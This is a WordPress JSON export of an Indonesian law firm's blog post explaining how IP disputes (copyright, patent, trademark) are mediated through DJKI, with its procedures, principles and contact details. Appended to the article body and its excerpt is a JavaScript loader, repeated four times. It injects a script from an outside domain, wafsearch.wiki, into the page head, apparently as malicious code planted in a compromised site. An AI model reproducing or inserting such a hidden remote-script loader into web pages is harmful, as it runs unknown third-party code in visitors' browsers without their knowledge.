{"id":5934,"date":"2025-12-08T00:27:25","date_gmt":"2025-12-08T00:27:25","guid":{"rendered":"https:\/\/affa.co.id\/?p=5934"},"modified":"2025-12-08T00:27:25","modified_gmt":"2025-12-08T00:27:25","slug":"strategi-mediasi-langkah-jitu-menyelesaikan-sengketa-kekayaan-intelektual","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/12\/08\/strategi-mediasi-langkah-jitu-menyelesaikan-sengketa-kekayaan-intelektual\/","title":{"rendered":"Strategi Mediasi: Langkah Jitu Menyelesaikan Sengketa Kekayaan Intelektual"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Indonesia semakin menempatkan<\/span><b> Penyelesaian Sengketa Alternatif (Alternative Dispute Resolution\/ADR)<\/b><span style=\"font-weight: 400\">\u2014khususnya Mediasi\u2014sebagai strategi utama dalam menyelesaikan sengketa Kekayaan Intelektual (KI). Pendekatan ini mengutamakan proses yang lebih cepat, efisien, dan tidak konfrontatif, sejalan dengan filosofi <\/span><i><span style=\"font-weight: 400\">restorative justice<\/span><\/i><span style=\"font-weight: 400\"> yang menekankan pemulihan hubungan bisnis serta perlindungan nilai komersial dari suatu Merek atau ciptaan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Bagaimana kriteria dan prosedurnya? Ini dia rangkuman yang dapat Anda jadikan pertimbangan:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Dukungan Penuh DJKI<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Lembaga pemerintah yang memfasilitasi Mediasi sengketa KI di Indonesia adalah <\/span><b>Direktorat Jenderal Kekayaan Intelektual (DJKI) <\/b><span style=\"font-weight: 400\">di bawah Kementerian Hukum dan Hak Asasi Manusia. Di dalam Direktorat Penegakan Hukum, terdapat Subdirektorat Pencegahan dan Sengketa Alternatif yang menjadi unit yang menjalankan proses penyelesaian sengketa non-litigasi ini.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Lebih detail lagi, ada Tim Kerja Penyelesaian Sengketa Alternatif pada Subdirektorat ini yang bertugas menerima dan memproses permohonan Mediasi atau fasilitasi, mengatur jalannya proses Mediasi termasuk penjadwalan dan komunikasi, serta bertindak sebagai mediator netral. Berdasarkan data DJKI, terdapat 7 mediator di <\/span><b>Subdirektorat Pencegahan dan Sengketa Alternatif<\/b><span style=\"font-weight: 400\"> serta 29 mediator Bidang KI di 29 Kantor Wilayah Kementerian Hukum, dan telah menangani beragam sengketa yang meliputi Hak Cipta, Merek, Paten, dan Desain Industri sejak 2021.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Dasar Hukum: Mediasi Wajib vs. Mediasi Opsional<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Penyelesaian sengketa KI di Indonesia dapat ditempuh melalui Penyelesaian Sengketa Alternatif, arbitrase, atau Pengadilan Niaga. Namun beberapa undang-undang KI menentukan apakah Mediasi ini bersifat wajib atau opsional sebelum melanjutkan ke jalur hukum lainnya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Mediasi yang Bersifat Wajib<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Langkah Mediasi jadi bersifat wajib berdasarkan peraturan perundang-undangan untuk Kekayaan Intelektual berikut ini:<\/span><\/p>\n<ul>\n<li><b>Hak Cipta<br \/>\n<\/b>Kecuali untuk kasus pembajakan, apabila para pihak diketahui keberadaannya dan berada di wilayah Indonesia, sengketa wajib ditempuh melalui Mediasi terlebih dahulu sebelum pengajuan tuntutan pidana.<\/li>\n<\/ul>\n<ul>\n<li><b>Paten dan Paten Sederhana<br \/>\n<\/b>Untuk tuntutan pidana atas pelanggaran Paten atau Paten Sederhana, para pihak harus terlebih dahulu menempuh jalur Mediasi.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Mediasi yang Bersifat Opsional<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Untuk jenis KI lainnya, Mediasi dapat dilakukan sebagai alternatif penyelesaian sengketa selain arbitrase:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Desain Tata Letak Sirkuit Terpadu<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek dan Indikasi Geografis<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Desain Industri<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Rahasia Dagang<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Proses Mediasi dan Persyaratannya<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Proses ini dikelola oleh Tim Kerja Penyelesaian Sengketa Alternatif, dan dapat dilakukan secara Offline maupun Online. Untuk memulai proses, pemohon Mediasi wajib menyiapkan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Surat permohonan Mediasi<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Identitas Para Pihak dan\/atau kuasanya<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Alamat Para Pihak<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bukti kepemilikan KI (jika pemilik KI)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Uraian singkat sengketa KI<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Dokumen pendukung lainnya<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Perlu dicatat jika Pemohon adalah pihak yang diduga melakukan pelanggaran KI, tidak wajib melampirkan bukti kepemilikan KI.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Prinsip-Prinsip Dasar Mediasi Sengketa KI<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Berikut prinsip yang wajib dijunjung dalam Mediasi KI menurut DJKI:<\/span><\/p>\n<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Prinsip<\/b><\/td>\n<td><b>Deskripsi<\/b><\/td>\n<\/tr>\n<tr>\n<td><b>Sukarela<\/b><\/td>\n<td><span style=\"font-weight: 400\">Para pihak harus bersepakat secara sukarela untuk menempuh Mediasi, tanpa paksaan untuk hadir, bernegosiasi, atau mencapai kesepakatan. Hasil Mediasi harus benar-benar mencerminkan kehendak Para Pihak.<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Kerahasiaan<\/b><\/td>\n<td><span style=\"font-weight: 400\">Seluruh informasi, dokumen, dan pernyataan yang disampaikan selama proses Mediasi bersifat rahasia. Informasi tersebut tidak boleh digunakan sebagai alat bukti di pengadilan tanpa persetujuan tegas dari Para Pihak, sehingga mendorong dialog yang jujur.<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Netralitas Mediator<\/b><\/td>\n<td><span style=\"font-weight: 400\">Mediator harus menjaga netralitas, tidak memihak, dan tidak memiliki kepentingan pribadi terhadap hasil sengketa. Netralitas ini penting untuk menjaga kepercayaan kedua belah pihak.<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Kesetaraan Para Pihak<\/b><\/td>\n<td><span style=\"font-weight: 400\">Semua pihak memiliki kesetaraan, tanpa memandang siapa yang dianggap lebih kuat. Setiap pihak memiliki hak yang sama untuk didengar, dan Mediator wajib memastikan tidak ada pihak yang tertekan atau didominasi.<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Keterbukaan dan Itikad Baik<\/b><\/td>\n<td><span style=\"font-weight: 400\">Para pihak diharapkan terbuka dalam menyampaikan fakta serta menunjukkan itikad baik untuk mencari solusi. Itikad baik sangat penting untuk menghasilkan kesepakatan yang tulus dan berkelanjutan.<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Keadilan dan Manfaat<\/b><b><i> (Win\u2013Win Solution)<\/i><\/b><\/td>\n<td><span style=\"font-weight: 400\">Kesepakatan yang dicapai harus mencerminkan keadilan dan manfaat bagi kedua belah pihak. Tujuannya adalah solusi win\u2013win, sehingga tidak ada pihak yang dirugikan secara tidak proporsional.<\/span><\/td>\n<\/tr>\n<tr>\n<td><b>Kemandirian Para Pihak<\/b><\/td>\n<td><span style=\"font-weight: 400\">Peran Mediator bersifat murni fasilitatif dan tidak memutus perkara. Keputusan untuk menyepakati, menolak, atau menunda penyelesaian sepenuhnya berada di tangan Para Pihak.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><b>Keunggulan Memilih Mediasi<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Mediasi sangat dianjurkan karena memberikan manfaat yang signifikan dibandingkan litigasi:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penyelesaian lebih cepat dan efisien<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Hemat biaya<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menjaga hubungan baik antar pihak<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memberikan ruang solusi yang fleksibel<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menjaga reputasi dan citra publik<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menumbuhkan kesadaran dan kepatuhan hukum<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengurangi beban aparat penegak hukum dan pengadilan<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Tantangan dan Pendekatan Restoratif<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Tantangan yang umum terjadi meliputi:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Para pihak berada di lokasi yang berjauhan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kesulitan menemukan waktu yang sama untuk pertemuan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Dalam Mediasi Online, belum adanya sarana teknologi yang memungkinkan penandatanganan dokumen bagi pihak yang berjauhan.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">DJKI menegaskan bahwa banyak sengketa KI bukan disebabkan niat jahat, melainkan kurangnya pemahaman. Oleh karena itu, Mediasi dipandang sebagai jembatan untuk memulihkan, bukan menghukum, serta membangun kembali kepercayaan melalui pendekatan <\/span><i><span style=\"font-weight: 400\">restorative justice<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda membutuhkan informasi tambahan mengenai Penyelesaian Sengketa Alternatif untuk sengketa Kekayaan Intelektual di Indonesia, langsung hubungi kami melalui kanal berikut ini untuk mendapatkan konsultasi GRATIS 15 menit:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: emirsyah.dinar@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Sumber: Direktorat Jenderal Kekayaan Intelektual (DJKI)<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Indonesia semakin menempatkan Penyelesaian Sengketa Alternatif (Alternative Dispute Resolution\/ADR)\u2014khususnya Mediasi\u2014sebagai strategi utama dalam menyelesaikan sengketa Kekayaan Intelektual (KI). Pendekatan ini mengutamakan proses yang lebih cepat, efisien, dan tidak konfrontatif, sejalan dengan filosofi restorative justice yang menekankan pemulihan hubungan bisnis serta perlindungan nilai komersial dari suatu Merek atau ciptaan. &nbsp; Bagaimana kriteria dan prosedurnya? Ini dia rangkuman yang dapat Anda jadikan pertimbangan: &nbsp; Dukungan Penuh DJKI &nbsp; Lembaga pemerintah yang memfasilitasi Mediasi sengketa KI di Indonesia adalah Direktorat Jenderal Kekayaan Intelektual (DJKI) di bawah Kementerian Hukum dan Hak Asasi Manusia. Di dalam Direktorat Penegakan Hukum, terdapat Subdirektorat Pencegahan dan Sengketa Alternatif yang menjadi unit yang menjalankan proses penyelesaian sengketa non-litigasi ini. &nbsp; Lebih detail lagi, ada Tim Kerja Penyelesaian Sengketa Alternatif pada Subdirektorat ini yang bertugas menerima dan memproses permohonan Mediasi atau fasilitasi, mengatur jalannya proses Mediasi termasuk penjadwalan dan komunikasi, serta bertindak sebagai mediator netral. Berdasarkan data DJKI, terdapat 7 mediator di Subdirektorat Pencegahan dan Sengketa Alternatif serta 29 mediator Bidang KI di 29 Kantor Wilayah Kementerian Hukum, dan telah menangani beragam sengketa yang meliputi Hak Cipta, Merek, Paten, dan Desain Industri sejak 2021. &nbsp; Dasar Hukum: Mediasi Wajib vs. Mediasi Opsional &nbsp; Penyelesaian sengketa KI di Indonesia dapat ditempuh melalui Penyelesaian Sengketa Alternatif, arbitrase, atau Pengadilan Niaga. Namun beberapa undang-undang KI menentukan apakah Mediasi ini bersifat wajib atau opsional sebelum melanjutkan ke jalur hukum lainnya. &nbsp; Mediasi yang Bersifat Wajib &nbsp; Langkah Mediasi jadi bersifat wajib berdasarkan peraturan perundang-undangan untuk Kekayaan Intelektual berikut ini: Hak Cipta Kecuali untuk kasus pembajakan, apabila para pihak diketahui keberadaannya dan berada di wilayah Indonesia, sengketa wajib ditempuh melalui Mediasi terlebih dahulu sebelum pengajuan tuntutan pidana. Paten dan Paten Sederhana Untuk tuntutan pidana atas pelanggaran Paten atau Paten Sederhana, para pihak harus terlebih dahulu menempuh jalur Mediasi. &nbsp; Mediasi yang Bersifat Opsional &nbsp; Untuk jenis KI lainnya, Mediasi dapat dilakukan sebagai alternatif penyelesaian sengketa selain arbitrase: Desain Tata Letak Sirkuit Terpadu Merek dan Indikasi Geografis Desain Industri Rahasia Dagang &nbsp; Proses Mediasi dan Persyaratannya &nbsp; Proses ini dikelola oleh Tim Kerja Penyelesaian Sengketa Alternatif, dan dapat dilakukan secara Offline maupun Online. Untuk memulai proses, pemohon Mediasi wajib menyiapkan: Surat permohonan Mediasi Identitas Para Pihak dan\/atau kuasanya Alamat Para Pihak Bukti kepemilikan KI (jika pemilik KI) Uraian singkat sengketa KI Dokumen pendukung lainnya &nbsp; Perlu dicatat jika Pemohon adalah pihak yang diduga melakukan pelanggaran KI, tidak wajib melampirkan bukti kepemilikan KI. &nbsp; Prinsip-Prinsip Dasar Mediasi Sengketa KI &nbsp; Berikut prinsip yang wajib dijunjung dalam Mediasi KI menurut DJKI: &nbsp; Prinsip Deskripsi Sukarela Para pihak harus bersepakat secara sukarela untuk menempuh Mediasi, tanpa paksaan untuk hadir, bernegosiasi, atau mencapai kesepakatan. Hasil Mediasi harus benar-benar mencerminkan kehendak Para Pihak. Kerahasiaan Seluruh informasi, dokumen, dan pernyataan yang disampaikan selama proses Mediasi bersifat rahasia. Informasi tersebut tidak boleh digunakan sebagai alat bukti di pengadilan tanpa persetujuan tegas dari Para Pihak, sehingga mendorong dialog yang jujur. Netralitas Mediator Mediator harus menjaga netralitas, tidak memihak, dan tidak memiliki kepentingan pribadi terhadap hasil sengketa. Netralitas ini penting untuk menjaga kepercayaan kedua belah pihak. Kesetaraan Para Pihak Semua pihak memiliki kesetaraan, tanpa memandang siapa yang dianggap lebih kuat. Setiap pihak memiliki hak yang sama untuk didengar, dan Mediator wajib memastikan tidak ada pihak yang tertekan atau didominasi. Keterbukaan dan Itikad Baik Para pihak diharapkan terbuka dalam menyampaikan fakta serta menunjukkan itikad baik untuk mencari solusi. Itikad baik sangat penting untuk menghasilkan kesepakatan yang tulus dan berkelanjutan. Keadilan dan Manfaat (Win\u2013Win Solution) Kesepakatan yang dicapai harus mencerminkan keadilan dan manfaat bagi kedua belah pihak. Tujuannya adalah solusi win\u2013win, sehingga tidak ada pihak yang dirugikan secara tidak proporsional. Kemandirian Para Pihak Peran Mediator bersifat murni fasilitatif dan tidak memutus perkara. Keputusan untuk menyepakati, menolak, atau menunda penyelesaian sepenuhnya berada di tangan Para Pihak. &nbsp; Keunggulan Memilih Mediasi &nbsp; Mediasi sangat dianjurkan karena memberikan manfaat yang signifikan dibandingkan litigasi: Penyelesaian lebih cepat dan efisien Hemat biaya Menjaga hubungan baik antar pihak Memberikan ruang solusi yang fleksibel Menjaga reputasi dan citra publik Menumbuhkan kesadaran dan kepatuhan hukum Mengurangi beban aparat penegak hukum dan pengadilan &nbsp; Tantangan dan Pendekatan Restoratif &nbsp; Tantangan yang umum terjadi meliputi: Para pihak berada di lokasi yang berjauhan. Kesulitan menemukan waktu yang sama untuk pertemuan. Dalam Mediasi Online, belum adanya sarana teknologi yang memungkinkan penandatanganan dokumen bagi pihak yang berjauhan. &nbsp; DJKI menegaskan bahwa banyak sengketa KI bukan disebabkan niat jahat, melainkan kurangnya pemahaman. Oleh karena itu, Mediasi dipandang sebagai jembatan untuk memulihkan, bukan menghukum, serta membangun kembali kepercayaan melalui pendekatan restorative justice. &nbsp; Jika Anda membutuhkan informasi tambahan mengenai Penyelesaian Sengketa Alternatif untuk sengketa Kekayaan Intelektual di Indonesia, langsung hubungi kami melalui kanal berikut ini untuk mendapatkan konsultasi GRATIS 15 menit: &nbsp; \ud83d\udce9 E-Mail : emirsyah.dinar@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Sumber: Direktorat Jenderal Kekayaan Intelektual (DJKI)var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[307,630,308,309,310,314,315,317,318,319,321,325,327,298,328,302,339,305,369,306,473],"class_list":["post-5934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-intellectual-property","tag-performance","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-djki","tag-indonesia","tag-patent","tag-desain-industri","tag-merek","tag-industrial-design","tag-dgip","tag-paten","tag-affa","tag-indikasi-geografis","tag-affa-ipr","tag-geographical-indication"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5934"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5934\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5935"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}